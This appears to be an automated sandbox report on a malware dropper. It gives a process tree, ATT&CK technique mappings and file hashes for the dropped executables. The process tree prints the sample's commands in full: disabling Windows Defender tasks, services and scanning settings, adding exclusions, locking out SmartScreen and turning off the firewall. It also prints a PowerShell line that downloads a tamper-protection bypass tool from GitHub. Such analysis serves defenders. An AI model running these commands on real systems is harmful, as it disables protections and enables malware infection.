                                                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                                                    6⤵
                                                                                                      PID:2856
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                                                      6⤵
                                                                                                        PID:1784
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                                        6⤵
                                                                                                          PID:1764
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                                          6⤵
                                                                                                            PID:1652
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                                                            6⤵
                                                                                                              PID:1996
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                                                              6⤵
                                                                                                                PID:2920
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                6⤵
                                                                                                                  PID:2940
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                  6⤵
                                                                                                                    PID:2956
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                    6⤵
                                                                                                                      PID:2992
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                      6⤵
                                                                                                                        PID:3004
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                        6⤵
                                                                                                                          PID:3016
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                          6⤵
                                                                                                                            PID:3028
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                            6⤵
                                                                                                                              PID:3044
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                              6⤵
                                                                                                                              • Modifies security service
                                                                                                                              PID:3056
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
                                                                                                                              6⤵
                                                                                                                                PID:3064
                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                takeown /f "C:\Windows\System32\smartscreen.exe" /a
                                                                                                                                6⤵
                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:860
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Windows\System32\smartscreen.exe" /reset
                                                                                                                                6⤵
                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:1704
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /im smartscreen.exe /f
                                                                                                                                6⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:2104
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
                                                                                                                                6⤵
                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:2804
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
                                                                                                                                6⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:2148
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -command "Add-MpPreference -ExclusionExtension ".vbs""
                                                                                                                                6⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:3056
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
                                                                                                                                6⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:2912
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -command "Set-MpPreference -PUAProtection disable"
                                                                                                                                6⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:1388
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
                                                                                                                                6⤵
                                                                                                                                  PID:2904
                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                  6⤵
                                                                                                                                    PID:2872
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                                                                                                                                    6⤵
                                                                                                                                      PID:2972
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
                                                                                                                                      6⤵
                                                                                                                                        PID:2576
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
                                                                                                                                        6⤵
                                                                                                                                          PID:1664
                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
                                                                                                                                          6⤵
                                                                                                                                            PID:1644
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
                                                                                                                                            6⤵
                                                                                                                                              PID:2956
                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
                                                                                                                                              6⤵
                                                                                                                                                PID:2424
                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
                                                                                                                                                6⤵
                                                                                                                                                  PID:2460
                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:3020
                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell.exe -command "Set-MpPreference -MAPSReporting 0"
                                                                                                                                                    6⤵
                                                                                                                                                      PID:1928
                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                                                                                                                                                      6⤵
                                                                                                                                                        PID:1164
                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
                                                                                                                                                        6⤵
                                                                                                                                                          PID:2868
                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:2576
                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
                                                                                                                                                            6⤵
                                                                                                                                                              PID:2760
                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:1716
                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                powershell.exe -command "netsh advfirewall set allprofiles state off"
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:1644
                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                    "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:2252
                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe', '.\NSudo.exe') }
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                    PID:3060
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  cmd /c ""C:\ProgramData\CQTdmlD28xlID\main.bat" "
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:1716
                                                                                                                                                                  • C:\Windows\SysWOW64\mode.com
                                                                                                                                                                    mode 65,10
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:1016
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\7za.exe
                                                                                                                                                                      7za.exe e file.zip -p___________10461pwd11828pwd7493___________ -oextracted
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:276
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\7za.exe
                                                                                                                                                                      7za.exe e extracted/file_4.zip -oextracted
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:592
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\7za.exe
                                                                                                                                                                      7za.exe e extracted/file_3.zip -oextracted
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2596
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\7za.exe
                                                                                                                                                                      7za.exe e extracted/file_2.zip -oextracted
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2604
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\7za.exe
                                                                                                                                                                      7za.exe e extracted/file_1.zip -oextracted
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2456
                                                                                                                                                                    • C:\ProgramData\CQTdmlD28xlID\JRzj38bAg1YdrV2.exe
                                                                                                                                                                      "JRzj38bAg1YdrV2.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                      PID:2608
                                                                                                                                                                      • C:\ProgramData\CQTdmlD28xlID\JRzj38bAg1YdrV2.exe
                                                                                                                                                                        "C:\ProgramData\CQTdmlD28xlID\JRzj38bAg1YdrV2.exe"
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:2696
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    cmd /c ""C:\ProgramData\CQTdmlD28xlID\owmgfeiqFRNmDEL.bat" "
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:1696
                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                        timeout /T 120 /NOBREAK
                                                                                                                                                                        6⤵
                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                        PID:2588
                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "-286555673-1586655760-9965844151883123843199801159912210411052054945895154763495"
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2956
                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                \??\C:\Windows\system32\conhost.exe "298805122-435429629-35983906465654462-7881944153186436682000307916-1744691422"
                                                                                                                                                                1⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                PID:2412

                                                                                                                                                              Network

                                                                                                                                                              MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                              Persistence

                                                                                                                                                              Modify Existing Service

                                                                                                                                                              3
                                                                                                                                                              T1031

                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                              2
                                                                                                                                                              T1060

                                                                                                                                                              BITS Jobs

                                                                                                                                                              1
                                                                                                                                                              T1197

                                                                                                                                                              Defense Evasion

                                                                                                                                                              Modify Registry

                                                                                                                                                              6
                                                                                                                                                              T1112

                                                                                                                                                              Disabling Security Tools

                                                                                                                                                              1
                                                                                                                                                              T1089

                                                                                                                                                              File Permissions Modification

                                                                                                                                                              1
                                                                                                                                                              T1222

                                                                                                                                                              BITS Jobs

                                                                                                                                                              1
                                                                                                                                                              T1197

                                                                                                                                                              Install Root Certificate

                                                                                                                                                              1
                                                                                                                                                              T1130

                                                                                                                                                              Credential Access

                                                                                                                                                              Credentials in Files

                                                                                                                                                              4
                                                                                                                                                              T1081

                                                                                                                                                              Discovery

                                                                                                                                                              Software Discovery

                                                                                                                                                              1
                                                                                                                                                              T1518

                                                                                                                                                              Security Software Discovery

                                                                                                                                                              1
                                                                                                                                                              T1063

                                                                                                                                                              Query Registry

                                                                                                                                                              3
                                                                                                                                                              T1012

                                                                                                                                                              System Information Discovery

                                                                                                                                                              3
                                                                                                                                                              T1082

                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                              1
                                                                                                                                                              T1120

                                                                                                                                                              Collection

                                                                                                                                                              Data from Local System

                                                                                                                                                              4
                                                                                                                                                              T1005

                                                                                                                                                              Command and Control

                                                                                                                                                              Web Service

                                                                                                                                                              1
                                                                                                                                                              T1102

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe
                                                                                                                                                                MD5

                                                                                                                                                                715ff963e75986124591e17cd8c6f6f6

                                                                                                                                                                SHA1

                                                                                                                                                                67bec13f335787778e5b60dc339b50a1aad5ce67

                                                                                                                                                                SHA256

                                                                                                                                                                1dc057c9c8e23f10e6cb6cd957a412a06c78d24dbdeb93d6d4ac83b5d0c835e1

                                                                                                                                                                SHA512

                                                                                                                                                                ef6ce6546e66bdb5479bc3f0f45ea5177ab0eb217bceea2cab6e17fcc193ade3c19edc6c067441fa8169042bd23b7fa69fd7cc99dac4d4e61ff19e28ede0f924

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe
                                                                                                                                                                MD5

                                                                                                                                                                715ff963e75986124591e17cd8c6f6f6

                                                                                                                                                                SHA1

                                                                                                                                                                67bec13f335787778e5b60dc339b50a1aad5ce67

                                                                                                                                                                SHA256

                                                                                                                                                                1dc057c9c8e23f10e6cb6cd957a412a06c78d24dbdeb93d6d4ac83b5d0c835e1

                                                                                                                                                                SHA512

                                                                                                                                                                ef6ce6546e66bdb5479bc3f0f45ea5177ab0eb217bceea2cab6e17fcc193ade3c19edc6c067441fa8169042bd23b7fa69fd7cc99dac4d4e61ff19e28ede0f924

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                MD5

                                                                                                                                                                a5e356d8cc0b55e0653d995a626fae90

                                                                                                                                                                SHA1

                                                                                                                                                                5515b37818785b96218880d199144336f8f3d962

                                                                                                                                                                SHA256

                                                                                                                                                                6cae92665b23b4bccccd25fad925b745ad83e700b1775a6cabae079b5741accd

                                                                                                                                                                SHA512

                                                                                                                                                                e425a5f6ede8f57529fe88ab2cc04cd614d8286d0447ad48701747fec8b8b9a7aa68b9d3fabad026e3943aa74e6a8c9037cb81af069fe3bf1ab05e54cfa9b935

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                MD5

                                                                                                                                                                a5e356d8cc0b55e0653d995a626fae90

                                                                                                                                                                SHA1

                                                                                                                                                                5515b37818785b96218880d199144336f8f3d962

                                                                                                                                                                SHA256

                                                                                                                                                                6cae92665b23b4bccccd25fad925b745ad83e700b1775a6cabae079b5741accd

                                                                                                                                                                SHA512

                                                                                                                                                                e425a5f6ede8f57529fe88ab2cc04cd614d8286d0447ad48701747fec8b8b9a7aa68b9d3fabad026e3943aa74e6a8c9037cb81af069fe3bf1ab05e54cfa9b935

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                MD5

                                                                                                                                                                200c295734f0f079241d0bc122341bb6

                                                                                                                                                                SHA1

                                                                                                                                                                6509db106aebaba3c371a5b4e7a832d43220be3c

                                                                                                                                                                SHA256

                                                                                                                                                                c3d91ff0dc6cf659be30eab0fdd770ad7841409ea30e79845e296ee7b80c1880

                                                                                                                                                                SHA512

                                                                                                                                                                4a81d789d14f3106d191f83c623cdcc3bda05620271707ecb904af223fcfe1d02166f7439af1f712f011c896483008fe8ab91a4cd84190a65af72f8fad1f9b6e

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                MD5

                                                                                                                                                                200c295734f0f079241d0bc122341bb6

                                                                                                                                                                SHA1

                                                                                                                                                                6509db106aebaba3c371a5b4e7a832d43220be3c

                                                                                                                                                                SHA256

                                                                                                                                                                c3d91ff0dc6cf659be30eab0fdd770ad7841409ea30e79845e296ee7b80c1880

                                                                                                                                                                SHA512

                                                                                                                                                                4a81d789d14f3106d191f83c623cdcc3bda05620271707ecb904af223fcfe1d02166f7439af1f712f011c896483008fe8ab91a4cd84190a65af72f8fad1f9b6e

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Setup.exe
                                                                                                                                                                MD5

                                                                                                                                                                c1df78eb295ead37cae639890c947c7b

                                                                                                                                                                SHA1

                                                                                                                                                                38da53f6c21440cc7924955debb1ea5e04c95318

                                                                                                                                                                SHA256

                                                                                                                                                                800d54353c570d931a319bd7ad22efc6a690dcd2042687286cf3f0b04d0ee188

                                                                                                                                                                SHA512

                                                                                                                                                                3db35c8ada76a216c4b9eb7bd26229884a0995e1f24e405be4b63318900608819e788dbced3e38f681d1fe68635eaa783dc243c470d6e7e7f388b739a73e9615

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Setup.exe
                                                                                                                                                                MD5

                                                                                                                                                                c1df78eb295ead37cae639890c947c7b

                                                                                                                                                                SHA1

                                                                                                                                                                38da53f6c21440cc7924955debb1ea5e04c95318

                                                                                                                                                                SHA256

                                                                                                                                                                800d54353c570d931a319bd7ad22efc6a690dcd2042687286cf3f0b04d0ee188

                                                                                                                                                                SHA512

                                                                                                                                                                3db35c8ada76a216c4b9eb7bd26229884a0995e1f24e405be4b63318900608819e788dbced3e38f681d1fe68635eaa783dc243c470d6e7e7f388b739a73e9615

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe
                                                                                                                                                                MD5

                                                                                                                                                                f8ff5ac2a66358ecacbbafcb749cd212

                                                                                                                                                                SHA1

                                                                                                                                                                6b89446e9752f4d9f0b23eeefbf5d7b7655fff38

                                                                                                                                                                SHA256

                                                                                                                                                                d36bae540ab9ad35e65d812e258d2a9d6c85d08d17aeac6051e6a332d4e6c530

                                                                                                                                                                SHA512

                                                                                                                                                                d136db8b6e98ef74d1ca1dfa7dede0fb338093807b0639458e14c80f46320f2cb96ae35ddb1f57f47ddc606fff5d5f1e7137b2c2a612344f80aa098364c67978

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\dp81GdX0OrCQ.exe
                                                                                                                                                                MD5

                                                                                                                                                                f8ff5ac2a66358ecacbbafcb749cd212

                                                                                                                                                                SHA1

                                                                                                                                                                6b89446e9752f4d9f0b23eeefbf5d7b7655fff38

                                                                                                                                                                SHA256

                                                                                                                                                                d36bae540ab9ad35e65d812e258d2a9d6c85d08d17aeac6051e6a332d4e6c530

                                                                                                                                                                SHA512

                                                                                                                                                                d136db8b6e98ef74d1ca1dfa7dede0fb338093807b0639458e14c80f46320f2cb96ae35ddb1f57f47ddc606fff5d5f1e7137b2c2a612344f80aa098364c67978

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                MD5

                                                                                                                                                                300955d4464b65c8e70e69aed0d349c4

                                                                                                                                                                SHA1

                                                                                                                                                                5c3c55482549c07d3be6f52f92291bdcec365465

                                                                                                                                                                SHA256

                                                                                                                                                                483d120901c099b3004dd2b287e3f376cd0a70ba60ad173c6fdc964a19f5c242

                                                                                                                                                                SHA512

                                                                                                                                                                a8ae18177f4331a2e7e404e9ebf3d4b341a16b77759cc0bd3a694320449c55973f6b7985f50a17fc7f8d83ba3ef57c26f4b0db144a05d098a161073efc7725f9

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                MD5

                                                                                                                                                                300955d4464b65c8e70e69aed0d349c4

                                                                                                                                                                SHA1

                                                                                                                                                                5c3c55482549c07d3be6f52f92291bdcec365465

                                                                                                                                                                SHA256

                                                                                                                                                                483d120901c099b3004dd2b287e3f376cd0a70ba60ad173c6fdc964a19f5c242

                                                                                                                                                                SHA512

                                                                                                                                                                a8ae18177f4331a2e7e404e9ebf3d4b341a16b77759cc0bd3a694320449c55973f6b7985f50a17fc7f8d83ba3ef57c26f4b0db144a05d098a161073efc7725f9

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                MD5

                                                                                                                                                                0a427bb1c7e314e0225d73690ae697ee

                                                                                                                                                                SHA1

                                                                                                                                                                34e83125b0a48abebd6ebc1292b5baa0a697c846

                                                                                                                                                                SHA256

                                                                                                                                                                0d0f05d54c10ee2c1dad908972bbec3427ebbe2c15d2e73ad1c1aed9572eb93c

                                                                                                                                                                SHA512

                                                                                                                                                                245f9733a8c6bf64372fa42c21bf5b4ccf89099566a528f8f8bc7c9f574e985a682a9f51d41ee5fdc876684843d9e8849cc455ad3de066101840e70106340ae9

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                MD5

                                                                                                                                                                0a427bb1c7e314e0225d73690ae697ee

                                                                                                                                                                SHA1

                                                                                                                                                                34e83125b0a48abebd6ebc1292b5baa0a697c846

                                                                                                                                                                SHA256

                                                                                                                                                                0d0f05d54c10ee2c1dad908972bbec3427ebbe2c15d2e73ad1c1aed9572eb93c

                                                                                                                                                                SHA512

                                                                                                                                                                245f9733a8c6bf64372fa42c21bf5b4ccf89099566a528f8f8bc7c9f574e985a682a9f51d41ee5fdc876684843d9e8849cc455ad3de066101840e70106340ae9

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                MD5

                                                                                                                                                                36ba42b02621b4dae2335286fbea60d8

                                                                                                                                                                SHA1

                                                                                                                                                                5cec6fe37a4cfba188328ae4d328d938ab33c647

                                                                                                                                                                SHA256

                                                                                                                                                                58aaf8e5a42a7e06df4a9b179a495d8dde5f657d47fd81fbb2234f3457af3d24

                                                                                                                                                                SHA512

                                                                                                                                                                ad6cf15728f84f5fafddc3c350fcf387e406b51fc2217d2e1d032c8d30cd0a895af736c1b4b309152c4a429cd33d0b92403d75c8dae0cb093dd507f3368617bc

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                MD5

                                                                                                                                                                36ba42b02621b4dae2335286fbea60d8

                                                                                                                                                                SHA1

                                                                                                                                                                5cec6fe37a4cfba188328ae4d328d938ab33c647

                                                                                                                                                                SHA256

                                                                                                                                                                58aaf8e5a42a7e06df4a9b179a495d8dde5f657d47fd81fbb2234f3457af3d24

                                                                                                                                                                SHA512

                                                                                                                                                                ad6cf15728f84f5fafddc3c350fcf387e406b51fc2217d2e1d032c8d30cd0a895af736c1b4b309152c4a429cd33d0b92403d75c8dae0cb093dd507f3368617bc

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                MD5

                                                                                                                                                                5d26d0386032fc7572ae05b2250aa929

                                                                                                                                                                SHA1

                                                                                                                                                                fac05348d973dee4ca7ccddd578d9849237b6700

                                                                                                                                                                SHA256

                                                                                                                                                                f2d5134592f0824332a666e93dad4612289077bb6bd6d961993d1322d2396918

                                                                                                                                                                SHA512

                                                                                                                                                                ad0c5936ad06dcca36b49a98f7306cb224ca4045e720300a739af44982ad91a0ba47995971220efa940c5522447d64772416cc0f481839612fdb707d1cfad166

                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                MD5

                                                                                                                                                                5d26d0386032fc7572ae05b2250aa929

                                                                                                                                                                SHA1

                                                                                                                                                                fac05348d973dee4ca7ccddd578d9849237b6700

                                                                                                                                                                SHA256

                                                                                                                                                                f2d5134592f0824332a666e93dad4612289077bb6bd6d961993d1322d2396918

                                                                                                                                                                SHA512

                                                                                                                                                                ad0c5936ad06dcca36b49a98f7306cb224ca4045e720300a739af44982ad91a0ba47995971220efa940c5522447d64772416cc0f481839612fdb707d1cfad166

                                                                                                                                                              • C:\Program Files (x86)\build.bat
                                                                                                                                                                MD5

                                                                                                                                                                23e681223fbc3ae7994774be78e8ca52

                                                                                                                                                                SHA1

                                                                                                                                                                ca7f9992b1f83019f88ccdf18e2e9ef1a50d9df9

                                                                                                                                                                SHA256

                                                                                                                                                                e286a22d9d1bd9dd8e6ef1e52e6379ebecbb2b501f6bc1add84defd9d8233293

                                                                                                                                                                SHA512

                                                                                                                                                                c982b9f000f56f96a9383166d3a257763b32dc85f1906bb1b514081297b2983bb5bf47c40f58c3468a5ff05e6b398c538f2ac131f731e71049bb73e050dcfa19

                                                                                                                                                              • C:\Program Files\unins.vbs
                                                                                                                                                                MD5

                                                                                                                                                                6074e379e89c51463ee3a32ff955686a

                                                                                                                                                                SHA1

                                                                                                                                                                0c2772c9333bb1fe35b7e30584cefabdf29f71d1

                                                                                                                                                                SHA256

                                                                                                                                                                3d4716dfe7a52575a064590797413b4d00f2366a77af43cf83b131ab43df145e

                                                                                                                                                                SHA512

                                                                                                                                                                0522292e85b179727b62271763eecb23a2042f46023336034ae8f477cd25a65e12519582d08999116d193e6e105753685356b0244c451139a21d4174fb4f6933

                                                                                                                                                              • C:\Program Files\unins0000.dat
                                                                                                                                                                MD5

                                                                                                                                                                66aa1d295133c473056df37204705394

                                                                                                                                                                SHA1

                                                                                                                                                                615468268bad6eb324a843c721860668922a9c78

                                                                                                                                                                SHA256

                                                                                                                                                                25c2dd1628cb23bd89be30b0cea72711d37641e84ed31d2077189af27d8bfbe5

                                                                                                                                                                SHA512

                                                                                                                                                                ccb01aa2b6b40e79cff66f97e0cecdb05300457ea2c1c018c6420ce78d5ab7199267bc0eec6bbb9eb1c2f23bf3afab9bdfe3954e0ca1d6647bbc65f3ef8d8780

                                                                                                                                                              • C:\Program Files\unins0000.dll
                                                                                                                                                                MD5

                                                                                                                                                                466f323c95e55fe27ab923372dffff50

                                                                                                                                                                SHA1

                                                                                                                                                                b2dc4328c22fd348223f22db5eca386177408214

                                                                                                                                                                SHA256

                                                                                                                                                                6bfb49245a5a92113a71f731fc22fbb8397f836a123b3267196a2a4f8dd70c5c

                                                                                                                                                                SHA512

                                                                                                                                                                60e242f873d76f77ec7486460d1181468ed060113f6331ab0a4bb540531e0526177819b1413edb316e1d133bd467cfcaacbbe6eb6f63f5b9a9777f50de39cbb6

